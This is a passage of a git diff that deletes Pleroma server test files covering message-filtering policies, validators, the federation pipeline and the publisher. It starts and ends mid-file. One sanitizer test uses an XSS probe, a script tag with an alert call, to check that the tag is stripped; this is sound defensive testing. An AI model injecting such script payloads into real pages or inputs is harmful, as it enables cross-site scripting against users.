{:ok, remote_user} - end - - test "has a matching host" do - Config.put([:mrf_simple, :avatar_removal], ["remote.instance"]) - - remote_user = build_remote_user() - {:ok, filtered} = SimplePolicy.filter(remote_user) - - refute filtered["icon"] - end - - test "match with wildcard domain" do - Config.put([:mrf_simple, :avatar_removal], ["*.remote.instance"]) - - remote_user = build_remote_user() - {:ok, filtered} = SimplePolicy.filter(remote_user) - - refute filtered["icon"] - end - end - - describe "when :banner_removal" do - test "is empty" do - Config.put([:mrf_simple, :banner_removal], []) - - remote_user = build_remote_user() - - assert SimplePolicy.filter(remote_user) == {:ok, remote_user} - end - - test "is not empty but it doesn't have a matching host" do - Config.put([:mrf_simple, :banner_removal], ["non.matching.remote"]) - - remote_user = build_remote_user() - - assert SimplePolicy.filter(remote_user) == {:ok, remote_user} - end - - test "has a matching host" do - Config.put([:mrf_simple, :banner_removal], ["remote.instance"]) - - remote_user = build_remote_user() - {:ok, filtered} = SimplePolicy.filter(remote_user) - - refute filtered["image"] - end - - test "match with wildcard domain" do - Config.put([:mrf_simple, :banner_removal], ["*.remote.instance"]) - - remote_user = build_remote_user() - {:ok, filtered} = SimplePolicy.filter(remote_user) - - refute filtered["image"] - end - end - - describe "when :reject_deletes is empty" do - setup do: Config.put([:mrf_simple, :reject_deletes], []) - - test "it accepts deletions even from rejected servers" do - Config.put([:mrf_simple, :reject], ["remote.instance"]) - - deletion_message = build_remote_deletion_message() - - assert SimplePolicy.filter(deletion_message) == {:ok, deletion_message} - end - - test "it accepts deletions even from non-whitelisted servers" do - Config.put([:mrf_simple, :accept], ["non.matching.remote"]) - - deletion_message = build_remote_deletion_message() - - assert SimplePolicy.filter(deletion_message) == {:ok, deletion_message} - end - end - - describe "when :reject_deletes is not empty but it doesn't have a matching host" do - setup do: Config.put([:mrf_simple, :reject_deletes], ["non.matching.remote"]) - - test "it accepts deletions even from rejected servers" do - Config.put([:mrf_simple, :reject], ["remote.instance"]) - - deletion_message = build_remote_deletion_message() - - assert SimplePolicy.filter(deletion_message) == {:ok, deletion_message} - end - - test "it accepts deletions even from non-whitelisted servers" do - Config.put([:mrf_simple, :accept], ["non.matching.remote"]) - - deletion_message = build_remote_deletion_message() - - assert SimplePolicy.filter(deletion_message) == {:ok, deletion_message} - end - end - - describe "when :reject_deletes has a matching host" do - setup do: Config.put([:mrf_simple, :reject_deletes], ["remote.instance"]) - - test "it rejects the deletion" do - deletion_message = build_remote_deletion_message() - - assert {:reject, _} = SimplePolicy.filter(deletion_message) - end - end - - describe "when :reject_deletes match with wildcard domain" do - setup do: Config.put([:mrf_simple, :reject_deletes], ["*.remote.instance"]) - - test "it rejects the deletion" do - deletion_message = build_remote_deletion_message() - - assert {:reject, _} = SimplePolicy.filter(deletion_message) - end - end - - defp build_local_message do - %{ - "actor" => "#{Pleroma.Web.base_url()}/users/alice", - "to" => [], - "cc" => [] - } - end - - defp build_remote_message do - %{"actor" => "https://remote.instance/users/bob"} - end - - defp build_remote_user do - %{ - "id" => "https://remote.instance/users/bob", - "icon" => %{ - "url" => "http://example.com/image.jpg", - "type" => "Image" - }, - "image" => %{ - "url" => "http://example.com/image.jpg", - "type" => "Image" - }, - "type" => "Person" - } - end - - defp build_remote_deletion_message do - %{ - "type" => "Delete", - "actor" => "https://remote.instance/users/bob" - } - end -end diff --git a/test/web/activity_pub/mrf/steal_emoji_policy_test.exs b/test/web/activity_pub/mrf/steal_emoji_policy_test.exs deleted file mode 100644 index 3f8222736..000000000 --- a/test/web/activity_pub/mrf/steal_emoji_policy_test.exs +++ /dev/null @@ -1,68 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.ActivityPub.MRF.StealEmojiPolicyTest do - use Pleroma.DataCase - - alias Pleroma.Config - alias Pleroma.Web.ActivityPub.MRF.StealEmojiPolicy - - setup_all do - Tesla.Mock.mock_global(fn env -> apply(HttpRequestMock, :request, [env]) end) - :ok - end - - setup do - emoji_path = Path.join(Config.get([:instance, :static_dir]), "emoji/stolen") - File.rm_rf!(emoji_path) - File.mkdir!(emoji_path) - - Pleroma.Emoji.reload() - - on_exit(fn -> - File.rm_rf!(emoji_path) - end) - - :ok - end - - test "does nothing by default" do - installed_emoji = Pleroma.Emoji.get_all() |> Enum.map(fn {k, _} -> k end) - refute "firedfox" in installed_emoji - - message = %{ - "type" => "Create", - "object" => %{ - "emoji" => [{"firedfox", "https://example.org/emoji/firedfox.png"}], - "actor" => "https://example.org/users/admin" - } - } - - assert {:ok, message} == StealEmojiPolicy.filter(message) - - installed_emoji = Pleroma.Emoji.get_all() |> Enum.map(fn {k, _} -> k end) - refute "firedfox" in installed_emoji - end - - test "Steals emoji on unknown shortcode from allowed remote host" do - installed_emoji = Pleroma.Emoji.get_all() |> Enum.map(fn {k, _} -> k end) - refute "firedfox" in installed_emoji - - message = %{ - "type" => "Create", - "object" => %{ - "emoji" => [{"firedfox", "https://example.org/emoji/firedfox.png"}], - "actor" => "https://example.org/users/admin" - } - } - - clear_config([:mrf_steal_emoji, :hosts], ["example.org"]) - clear_config([:mrf_steal_emoji, :size_limit], 284_468) - - assert {:ok, message} == StealEmojiPolicy.filter(message) - - installed_emoji = Pleroma.Emoji.get_all() |> Enum.map(fn {k, _} -> k end) - assert "firedfox" in installed_emoji - end -end diff --git a/test/web/activity_pub/mrf/subchain_policy_test.exs b/test/web/activity_pub/mrf/subchain_policy_test.exs deleted file mode 100644 index fff66cb7e..000000000 --- a/test/web/activity_pub/mrf/subchain_policy_test.exs +++ /dev/null @@ -1,33 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.ActivityPub.MRF.SubchainPolicyTest do - use Pleroma.DataCase - - alias Pleroma.Web.ActivityPub.MRF.DropPolicy - alias Pleroma.Web.ActivityPub.MRF.SubchainPolicy - - @message %{ - "actor" => "https://banned.com", - "type" => "Create", - "object" => %{"content" => "hi"} - } - setup do: clear_config([:mrf_subchain, :match_actor]) - - test "it matches and processes subchains when the actor matches a configured target" do - Pleroma.Config.put([:mrf_subchain, :match_actor], %{ - ~r/^https:\/\/banned.com/s => [DropPolicy] - }) - - {:reject, _} = SubchainPolicy.filter(@message) - end - - test "it doesn't match and process subchains when the actor doesn't match a configured target" do - Pleroma.Config.put([:mrf_subchain, :match_actor], %{ - ~r/^https:\/\/borked.com/s => [DropPolicy] - }) - - {:ok, _message} = SubchainPolicy.filter(@message) - end -end diff --git a/test/web/activity_pub/mrf/tag_policy_test.exs b/test/web/activity_pub/mrf/tag_policy_test.exs deleted file mode 100644 index 6ff71d640..000000000 --- a/test/web/activity_pub/mrf/tag_policy_test.exs +++ /dev/null @@ -1,123 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.ActivityPub.MRF.TagPolicyTest do - use Pleroma.DataCase - import Pleroma.Factory - - alias Pleroma.Web.ActivityPub.MRF.TagPolicy - @public "https://www.w3.org/ns/activitystreams#Public" - - describe "mrf_tag:disable-any-subscription" do - test "rejects message" do - actor = insert(:user, tags: ["mrf_tag:disable-any-subscription"]) - message = %{"object" => actor.ap_id, "type" => "Follow", "actor" => actor.ap_id} - assert {:reject, _} = TagPolicy.filter(message) - end - end - - describe "mrf_tag:disable-remote-subscription" do - test "rejects non-local follow requests" do - actor = insert(:user, tags: ["mrf_tag:disable-remote-subscription"]) - follower = insert(:user, tags: ["mrf_tag:disable-remote-subscription"], local: false) - message = %{"object" => actor.ap_id, "type" => "Follow", "actor" => follower.ap_id} - assert {:reject, _} = TagPolicy.filter(message) - end - - test "allows non-local follow requests" do - actor = insert(:user, tags: ["mrf_tag:disable-remote-subscription"]) - follower = insert(:user, tags: ["mrf_tag:disable-remote-subscription"], local: true) - message = %{"object" => actor.ap_id, "type" => "Follow", "actor" => follower.ap_id} - assert {:ok, message} = TagPolicy.filter(message) - end - end - - describe "mrf_tag:sandbox" do - test "removes from public timelines" do - actor = insert(:user, tags: ["mrf_tag:sandbox"]) - - message = %{ - "actor" => actor.ap_id, - "type" => "Create", - "object" => %{}, - "to" => [@public, "f"], - "cc" => [@public, "d"] - } - - except_message = %{ - "actor" => actor.ap_id, - "type" => "Create", - "object" => %{"to" => ["f", actor.follower_address], "cc" => ["d"]}, - "to" => ["f", actor.follower_address], - "cc" => ["d"] - } - - assert TagPolicy.filter(message) == {:ok, except_message} - end - end - - describe "mrf_tag:force-unlisted" do - test "removes from the federated timeline" do - actor = insert(:user, tags: ["mrf_tag:force-unlisted"]) - - message = %{ - "actor" => actor.ap_id, - "type" => "Create", - "object" => %{}, - "to" => [@public, "f"], - "cc" => [actor.follower_address, "d"] - } - - except_message = %{ - "actor" => actor.ap_id, - "type" => "Create", - "object" => %{"to" => ["f", actor.follower_address], "cc" => ["d", @public]}, - "to" => ["f", actor.follower_address], - "cc" => ["d", @public] - } - - assert TagPolicy.filter(message) == {:ok, except_message} - end - end - - describe "mrf_tag:media-strip" do - test "removes attachments" do - actor = insert(:user, tags: ["mrf_tag:media-strip"]) - - message = %{ - "actor" => actor.ap_id, - "type" => "Create", - "object" => %{"attachment" => ["file1"]} - } - - except_message = %{ - "actor" => actor.ap_id, - "type" => "Create", - "object" => %{} - } - - assert TagPolicy.filter(message) == {:ok, except_message} - end - end - - describe "mrf_tag:media-force-nsfw" do - test "Mark as sensitive on presence of attachments" do - actor = insert(:user, tags: ["mrf_tag:media-force-nsfw"]) - - message = %{ - "actor" => actor.ap_id, - "type" => "Create", - "object" => %{"tag" => ["test"], "attachment" => ["file1"]} - } - - except_message = %{ - "actor" => actor.ap_id, - "type" => "Create", - "object" => %{"tag" => ["test", "nsfw"], "attachment" => ["file1"], "sensitive" => true} - } - - assert TagPolicy.filter(message) == {:ok, except_message} - end - end -end diff --git a/test/web/activity_pub/mrf/user_allowlist_policy_test.exs b/test/web/activity_pub/mrf/user_allowlist_policy_test.exs deleted file mode 100644 index 8e1ad5bc8..000000000 --- a/test/web/activity_pub/mrf/user_allowlist_policy_test.exs +++ /dev/null @@ -1,31 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only -defmodule Pleroma.Web.ActivityPub.MRF.UserAllowListPolicyTest do - use Pleroma.DataCase - import Pleroma.Factory - - alias Pleroma.Web.ActivityPub.MRF.UserAllowListPolicy - - setup do: clear_config(:mrf_user_allowlist) - - test "pass filter if allow list is empty" do - actor = insert(:user) - message = %{"actor" => actor.ap_id} - assert UserAllowListPolicy.filter(message) == {:ok, message} - end - - test "pass filter if allow list isn't empty and user in allow list" do - actor = insert(:user) - Pleroma.Config.put([:mrf_user_allowlist], %{"localhost" => [actor.ap_id, "test-ap-id"]}) - message = %{"actor" => actor.ap_id} - assert UserAllowListPolicy.filter(message) == {:ok, message} - end - - test "rejected if allow list isn't empty and user not in allow list" do - actor = insert(:user) - Pleroma.Config.put([:mrf_user_allowlist], %{"localhost" => ["test-ap-id"]}) - message = %{"actor" => actor.ap_id} - assert {:reject, _} = UserAllowListPolicy.filter(message) - end -end diff --git a/test/web/activity_pub/mrf/vocabulary_policy_test.exs b/test/web/activity_pub/mrf/vocabulary_policy_test.exs deleted file mode 100644 index 2bceb67ee..000000000 --- a/test/web/activity_pub/mrf/vocabulary_policy_test.exs +++ /dev/null @@ -1,106 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.ActivityPub.MRF.VocabularyPolicyTest do - use Pleroma.DataCase - - alias Pleroma.Web.ActivityPub.MRF.VocabularyPolicy - - describe "accept" do - setup do: clear_config([:mrf_vocabulary, :accept]) - - test "it accepts based on parent activity type" do - Pleroma.Config.put([:mrf_vocabulary, :accept], ["Like"]) - - message = %{ - "type" => "Like", - "object" => "whatever" - } - - {:ok, ^message} = VocabularyPolicy.filter(message) - end - - test "it accepts based on child object type" do - Pleroma.Config.put([:mrf_vocabulary, :accept], ["Create", "Note"]) - - message = %{ - "type" => "Create", - "object" => %{ - "type" => "Note", - "content" => "whatever" - } - } - - {:ok, ^message} = VocabularyPolicy.filter(message) - end - - test "it does not accept disallowed child objects" do - Pleroma.Config.put([:mrf_vocabulary, :accept], ["Create", "Note"]) - - message = %{ - "type" => "Create", - "object" => %{ - "type" => "Article", - "content" => "whatever" - } - } - - {:reject, _} = VocabularyPolicy.filter(message) - end - - test "it does not accept disallowed parent types" do - Pleroma.Config.put([:mrf_vocabulary, :accept], ["Announce", "Note"]) - - message = %{ - "type" => "Create", - "object" => %{ - "type" => "Note", - "content" => "whatever" - } - } - - {:reject, _} = VocabularyPolicy.filter(message) - end - end - - describe "reject" do - setup do: clear_config([:mrf_vocabulary, :reject]) - - test "it rejects based on parent activity type" do - Pleroma.Config.put([:mrf_vocabulary, :reject], ["Like"]) - - message = %{ - "type" => "Like", - "object" => "whatever" - } - - {:reject, _} = VocabularyPolicy.filter(message) - end - - test "it rejects based on child object type" do - Pleroma.Config.put([:mrf_vocabulary, :reject], ["Note"]) - - message = %{ - "type" => "Create", - "object" => %{ - "type" => "Note", - "content" => "whatever" - } - } - - {:reject, _} = VocabularyPolicy.filter(message) - end - - test "it passes through objects that aren't disallowed" do - Pleroma.Config.put([:mrf_vocabulary, :reject], ["Like"]) - - message = %{ - "type" => "Announce", - "object" => "whatever" - } - - {:ok, ^message} = VocabularyPolicy.filter(message) - end - end -end diff --git a/test/web/activity_pub/object_validators/types/date_time_test.exs b/test/web/activity_pub/object_validators/types/date_time_test.exs deleted file mode 100644 index 10310c801..000000000 --- a/test/web/activity_pub/object_validators/types/date_time_test.exs +++ /dev/null @@ -1,36 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.ActivityPub.ObjectValidators.Types.DateTimeTest do - alias Pleroma.EctoType.ActivityPub.ObjectValidators.DateTime - use Pleroma.DataCase - - test "it validates an xsd:Datetime" do - valid_strings = [ - "2004-04-12T13:20:00", - "2004-04-12T13:20:15.5", - "2004-04-12T13:20:00-05:00", - "2004-04-12T13:20:00Z" - ] - - invalid_strings = [ - "2004-04-12T13:00", - "2004-04-1213:20:00", - "99-04-12T13:00", - "2004-04-12" - ] - - assert {:ok, "2004-04-01T12:00:00Z"} == DateTime.cast("2004-04-01T12:00:00Z") - - Enum.each(valid_strings, fn date_time -> - result = DateTime.cast(date_time) - assert {:ok, _} = result - end) - - Enum.each(invalid_strings, fn date_time -> - result = DateTime.cast(date_time) - assert :error == result - end) - end -end diff --git a/test/web/activity_pub/object_validators/types/object_id_test.exs b/test/web/activity_pub/object_validators/types/object_id_test.exs deleted file mode 100644 index e0ab76379..000000000 --- a/test/web/activity_pub/object_validators/types/object_id_test.exs +++ /dev/null @@ -1,41 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.ObjectValidators.Types.ObjectIDTest do - alias Pleroma.EctoType.ActivityPub.ObjectValidators.ObjectID - use Pleroma.DataCase - - @uris [ - "http://lain.com/users/lain", - "http://lain.com", - "https://lain.com/object/1" - ] - - @non_uris [ - "https://", - "rin", - 1, - :x, - %{"1" => 2} - ] - - test "it accepts http uris" do - Enum.each(@uris, fn uri -> - assert {:ok, uri} == ObjectID.cast(uri) - end) - end - - test "it accepts an object with a nested uri id" do - Enum.each(@uris, fn uri -> - assert {:ok, uri} == ObjectID.cast(%{"id" => uri}) - end) - end - - test "it rejects non-uri strings" do - Enum.each(@non_uris, fn non_uri -> - assert :error == ObjectID.cast(non_uri) - assert :error == ObjectID.cast(%{"id" => non_uri}) - end) - end -end diff --git a/test/web/activity_pub/object_validators/types/recipients_test.exs b/test/web/activity_pub/object_validators/types/recipients_test.exs deleted file mode 100644 index c09265f0d..000000000 --- a/test/web/activity_pub/object_validators/types/recipients_test.exs +++ /dev/null @@ -1,31 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.ObjectValidators.Types.RecipientsTest do - alias Pleroma.EctoType.ActivityPub.ObjectValidators.Recipients - use Pleroma.DataCase - - test "it asserts that all elements of the list are object ids" do - list = ["https://lain.com/users/lain", "invalid"] - - assert :error == Recipients.cast(list) - end - - test "it works with a list" do - list = ["https://lain.com/users/lain"] - assert {:ok, list} == Recipients.cast(list) - end - - test "it works with a list with whole objects" do - list = ["https://lain.com/users/lain", %{"id" => "https://gensokyo.2hu/users/raymoo"}] - resulting_list = ["https://gensokyo.2hu/users/raymoo", "https://lain.com/users/lain"] - assert {:ok, resulting_list} == Recipients.cast(list) - end - - test "it turns a single string into a list" do - recipient = "https://lain.com/users/lain" - - assert {:ok, [recipient]} == Recipients.cast(recipient) - end -end diff --git a/test/web/activity_pub/object_validators/types/safe_text_test.exs b/test/web/activity_pub/object_validators/types/safe_text_test.exs deleted file mode 100644 index 9c08606f6..000000000 --- a/test/web/activity_pub/object_validators/types/safe_text_test.exs +++ /dev/null @@ -1,30 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.ActivityPub.ObjectValidators.Types.SafeTextTest do - use Pleroma.DataCase - - alias Pleroma.EctoType.ActivityPub.ObjectValidators.SafeText - - test "it lets normal text go through" do - text = "hey how are you" - assert {:ok, text} == SafeText.cast(text) - end - - test "it removes html tags from text" do - text = "hey look xss <script>alert('foo')</script>" - assert {:ok, "hey look xss alert('foo')"} == SafeText.cast(text) - end - - test "it keeps basic html tags" do - text = "hey <a href='http://gensokyo.2hu'>look</a> xss <script>alert('foo')</script>" - - assert {:ok, "hey <a href=\"http://gensokyo.2hu\">look</a> xss alert('foo')"} == - SafeText.cast(text) - end - - test "errors for non-text" do - assert :error == SafeText.cast(1) - end -end diff --git a/test/web/activity_pub/pipeline_test.exs b/test/web/activity_pub/pipeline_test.exs deleted file mode 100644 index 210a06563..000000000 --- a/test/web/activity_pub/pipeline_test.exs +++ /dev/null @@ -1,179 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.ActivityPub.PipelineTest do - use Pleroma.DataCase - - import Mock - import Pleroma.Factory - - describe "common_pipeline/2" do - setup do - clear_config([:instance, :federating], true) - :ok - end - - test "when given an `object_data` in meta, Federation will receive a the original activity with the `object` field set to this embedded object" do - activity = insert(:note_activity) - object = %{"id" => "1", "type" => "Love"} - meta = [local: true, object_data: object] - - activity_with_object = %{activity | data: Map.put(activity.data, "object", object)} - - with_mocks([ - {Pleroma.Web.ActivityPub.ObjectValidator, [], [validate: fn o, m -> {:ok, o, m} end]}, - { - Pleroma.Web.ActivityPub.MRF, - [], - [pipeline_filter: fn o, m -> {:ok, o, m} end] - }, - { - Pleroma.Web.ActivityPub.ActivityPub, - [], - [persist: fn o, m -> {:ok, o, m} end] - }, - { - Pleroma.Web.ActivityPub.SideEffects, - [], - [ - handle: fn o, m -> {:ok, o, m} end, - handle_after_transaction: fn m -> m end - ] - }, - { - Pleroma.Web.Federator, - [], - [publish: fn _o -> :ok end] - } - ]) do - assert {:ok, ^activity, ^meta} = - Pleroma.Web.ActivityPub.Pipeline.common_pipeline(activity, meta) - - assert_called(Pleroma.Web.ActivityPub.ObjectValidator.validate(activity, meta)) - assert_called(Pleroma.Web.ActivityPub.MRF.pipeline_filter(activity, meta)) - assert_called(Pleroma.Web.ActivityPub.ActivityPub.persist(activity, meta)) - assert_called(Pleroma.Web.ActivityPub.SideEffects.handle(activity, meta)) - refute called(Pleroma.Web.Federator.publish(activity)) - assert_called(Pleroma.Web.Federator.publish(activity_with_object)) - end - end - - test "it goes through validation, filtering, persisting, side effects and federation for local activities" do - activity = insert(:note_activity) - meta = [local: true] - - with_mocks([ - {Pleroma.Web.ActivityPub.ObjectValidator, [], [validate: fn o, m -> {:ok, o, m} end]}, - { - Pleroma.Web.ActivityPub.MRF, - [], - [pipeline_filter: fn o, m -> {:ok, o, m} end] - }, - { - Pleroma.Web.ActivityPub.ActivityPub, - [], - [persist: fn o, m -> {:ok, o, m} end] - }, - { - Pleroma.Web.ActivityPub.SideEffects, - [], - [ - handle: fn o, m -> {:ok, o, m} end, - handle_after_transaction: fn m -> m end - ] - }, - { - Pleroma.Web.Federator, - [], - [publish: fn _o -> :ok end] - } - ]) do - assert {:ok, ^activity, ^meta} = - Pleroma.Web.ActivityPub.Pipeline.common_pipeline(activity, meta) - - assert_called(Pleroma.Web.ActivityPub.ObjectValidator.validate(activity, meta)) - assert_called(Pleroma.Web.ActivityPub.MRF.pipeline_filter(activity, meta)) - assert_called(Pleroma.Web.ActivityPub.ActivityPub.persist(activity, meta)) - assert_called(Pleroma.Web.ActivityPub.SideEffects.handle(activity, meta)) - assert_called(Pleroma.Web.Federator.publish(activity)) - end - end - - test "it goes through validation, filtering, persisting, side effects without federation for remote activities" do - activity = insert(:note_activity) - meta = [local: false] - - with_mocks([ - {Pleroma.Web.ActivityPub.ObjectValidator, [], [validate: fn o, m -> {:ok, o, m} end]}, - { - Pleroma.Web.ActivityPub.MRF, - [], - [pipeline_filter: fn o, m -> {:ok, o, m} end] - }, - { - Pleroma.Web.ActivityPub.ActivityPub, - [], - [persist: fn o, m -> {:ok, o, m} end] - }, - { - Pleroma.Web.ActivityPub.SideEffects, - [], - [handle: fn o, m -> {:ok, o, m} end, handle_after_transaction: fn m -> m end] - }, - { - Pleroma.Web.Federator, - [], - [] - } - ]) do - assert {:ok, ^activity, ^meta} = - Pleroma.Web.ActivityPub.Pipeline.common_pipeline(activity, meta) - - assert_called(Pleroma.Web.ActivityPub.ObjectValidator.validate(activity, meta)) - assert_called(Pleroma.Web.ActivityPub.MRF.pipeline_filter(activity, meta)) - assert_called(Pleroma.Web.ActivityPub.ActivityPub.persist(activity, meta)) - assert_called(Pleroma.Web.ActivityPub.SideEffects.handle(activity, meta)) - end - end - - test "it goes through validation, filtering, persisting, side effects without federation for local activities if federation is deactivated" do - clear_config([:instance, :federating], false) - - activity = insert(:note_activity) - meta = [local: true] - - with_mocks([ - {Pleroma.Web.ActivityPub.ObjectValidator, [], [validate: fn o, m -> {:ok, o, m} end]}, - { - Pleroma.Web.ActivityPub.MRF, - [], - [pipeline_filter: fn o, m -> {:ok, o, m} end] - }, - { - Pleroma.Web.ActivityPub.ActivityPub, - [], - [persist: fn o, m -> {:ok, o, m} end] - }, - { - Pleroma.Web.ActivityPub.SideEffects, - [], - [handle: fn o, m -> {:ok, o, m} end, handle_after_transaction: fn m -> m end] - }, - { - Pleroma.Web.Federator, - [], - [] - } - ]) do - assert {:ok, ^activity, ^meta} = - Pleroma.Web.ActivityPub.Pipeline.common_pipeline(activity, meta) - - assert_called(Pleroma.Web.ActivityPub.ObjectValidator.validate(activity, meta)) - assert_called(Pleroma.Web.ActivityPub.MRF.pipeline_filter(activity, meta)) - assert_called(Pleroma.Web.ActivityPub.ActivityPub.persist(activity, meta)) - assert_called(Pleroma.Web.ActivityPub.SideEffects.handle(activity, meta)) - end - end - end -end diff --git a/test/web/activity_pub/publisher_test.exs b/test/web/activity_pub/publisher_test.exs deleted file mode 100644 index b9388b966..000000000 --- a/test/web/activity_pub/publisher_test.exs +++ /dev/null @@ -1,365 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.ActivityPub.PublisherTest do - use Pleroma.Web.ConnCase - - import ExUnit.CaptureLog - import Pleroma.Factory - import Tesla.Mock - import Mock - - alias Pleroma.Activity - alias Pleroma.Instances - alias Pleroma.Object - alias Pleroma.Web.ActivityPub.Publisher - alias Pleroma.Web.CommonAPI - - @as_public "https://www.w3.org/ns/activitystreams#Public" - - setup do - mock(fn env -> apply(HttpRequestMock, :request, [env]) end) - :ok - end - - setup_all do: clear_config([:instance, :federating], true) - - describe "gather_webfinger_links/1" do - test "it returns links" do - user = insert(:user) - - expected_links = [ - %{"href" => user.ap_id, "rel" => "self", "type" => "application/activity+json"}, - %{ - "href" => user.ap_id, - "rel" => "self", - "type" => "application/ld+json; profile=\"https://www.w3.org/ns/activitystreams\"" - }, - %{ - "rel" => "http://ostatus.org/schema/1.0/subscribe", - "template" => "#{Pleroma.Web.base_url()}/ostatus_subscribe?acct={uri}" - } - ] - - assert expected_links == Publisher.gather_webfinger_links(user) - end - end - - describe "determine_inbox/2" do - test "it returns sharedInbox for messages involving as:Public in to" do - user = insert(:user, %{shared_inbox: "http://example.com/inbox"}) - - activity = %Activity{ - data: %{"to" => [@as_public], "cc" => [user.follower_address]} - } - - assert Publisher.determine_inbox(activity, user) == "http://example.com/inbox" - end - - test "it returns sharedInbox for messages involving as:Public in cc" do - user = insert(:user, %{shared_inbox: "http://example.com/inbox"}) - - activity = %Activity{ - data: %{"cc" => [@as_public], "to" => [user.follower_address]} - } - - assert Publisher.determine_inbox(activity, user) == "http://example.com/inbox" - end - - test "it returns sharedInbox for messages involving multiple recipients in to" do - user = insert(:user, %{shared_inbox: "http://example.com/inbox"}) - user_two = insert(:user) - user_three = insert(:user) - - activity = %Activity{ - data: %{"cc" => [], "to" => [user.ap_id, user_two.ap_id, user_three.ap_id]} - } - - assert Publisher.determine_inbox(activity, user) == "http://example.com/inbox" - end - - test "it returns sharedInbox for messages involving multiple recipients in cc" do - user = insert(:user, %{shared_inbox: "http://example.com/inbox"}) - user_two = insert(:user) - user_three = insert(:user) - - activity = %Activity{ - data: %{"to" => [], "cc" => [user.ap_id, user_two.ap_id, user_three.ap_id]} - } - - assert Publisher.determine_inbox(activity, user) == "http://example.com/inbox" - end - - test "it returns sharedInbox for messages involving multiple recipients in total" do - user = - insert(:user, %{ - shared_inbox: "http://example.com/inbox", - inbox: "http://example.com/personal-inbox" - }) - - user_two = insert(:user) - - activity = %Activity{ - data: %{"to" => [user_two.ap_id], "cc" => [user.ap_id]} - } - - assert Publisher.determine_inbox(activity, user) == "http://example.com/inbox" - end - - test "it returns inbox for messages involving single recipients in total" do - user = - insert(:user, %{ - shared_inbox: "http://example.com/inbox", - inbox: "http://example.com/personal-inbox" - }) - - activity = %Activity{ - data: %{"to" => [user.ap_id], "cc" => []} - } - - assert Publisher.determine_inbox(activity, user) == "http://example.com/personal-inbox" - end - end - - describe "publish_one/1" do - test "publish to url with with different ports" do - inbox80 = "http://42.site/users/nick1/inbox" - inbox42 = "http://42.site:42/users/nick1/inbox" - - mock(fn - %{method: :post, url: "http://42.site:42/users/nick1/inbox"} -> - {:ok, %Tesla.Env{status: 200, body: "port 42"}} - - %{method: :post, url: "http://42.site/users/nick1/inbox"} -> - {:ok, %Tesla.Env{status: 200, body: "port 80"}} - end) - - actor = insert(:user) - - assert {:ok, %{body: "port 42"}} = - Publisher.publish_one(%{ - inbox: inbox42, - json: "{}", - actor: actor, - id: 1, - unreachable_since: true - }) - - assert {:ok, %{body: "port 80"}} = - Publisher.publish_one(%{ - inbox: inbox80, - json: "{}", - actor: actor, - id: 1, - unreachable_since: true - }) - end - - test_with_mock "calls `Instances.set_reachable` on successful federation if `unreachable_since` is not specified", - Instances, - [:passthrough], - [] do - actor = insert(:user) - inbox = "http://200.site/users/nick1/inbox" - - assert {:ok, _} = Publisher.publish_one(%{inbox: inbox, json: "{}", actor: actor, id: 1}) - assert called(Instances.set_reachable(inbox)) - end - - test_with_mock "calls `Instances.set_reachable` on successful federation if `unreachable_since` is set", - Instances, - [:passthrough], - [] do - actor = insert(:user) - inbox = "http://200.site/users/nick1/inbox" - - assert {:ok, _} = - Publisher.publish_one(%{ - inbox: inbox, - json: "{}", - actor: actor, - id: 1, - unreachable_since: NaiveDateTime.utc_now() - }) - - assert called(Instances.set_reachable(inbox)) - end - - test_with_mock "does NOT call `Instances.set_reachable` on successful federation if `unreachable_since` is nil", - Instances, - [:passthrough], - [] do - actor = insert(:user) - inbox = "http://200.site/users/nick1/inbox" - - assert {:ok, _} = - Publisher.publish_one(%{ - inbox: inbox, - json: "{}", - actor: actor, - id: 1, - unreachable_since: nil - }) - - refute called(Instances.set_reachable(inbox)) - end - - test_with_mock "calls `Instances.set_unreachable` on target inbox on non-2xx HTTP response code", - Instances, - [:passthrough], - [] do - actor = insert(:user) - inbox = "http://404.site/users/nick1/inbox" - - assert {:error, _} = Publisher.publish_one(%{inbox: inbox, json: "{}", actor: actor, id: 1}) - - assert called(Instances.set_unreachable(inbox)) - end - - test_with_mock "it calls `Instances.set_unreachable` on target inbox on request error of any kind", - Instances, - [:passthrough], - [] do - actor = insert(:user) - inbox = "http://connrefused.site/users/nick1/inbox" - - assert capture_log(fn -> - assert {:error, _} = - Publisher.publish_one(%{inbox: inbox, json: "{}", actor: actor, id: 1}) - end) =~ "connrefused" - - assert called(Instances.set_unreachable(inbox)) - end - - test_with_mock "does NOT call `Instances.set_unreachable` if target is reachable", - Instances, - [:passthrough], - [] do - actor = insert(:user) - inbox = "http://200.site/users/nick1/inbox" - - assert 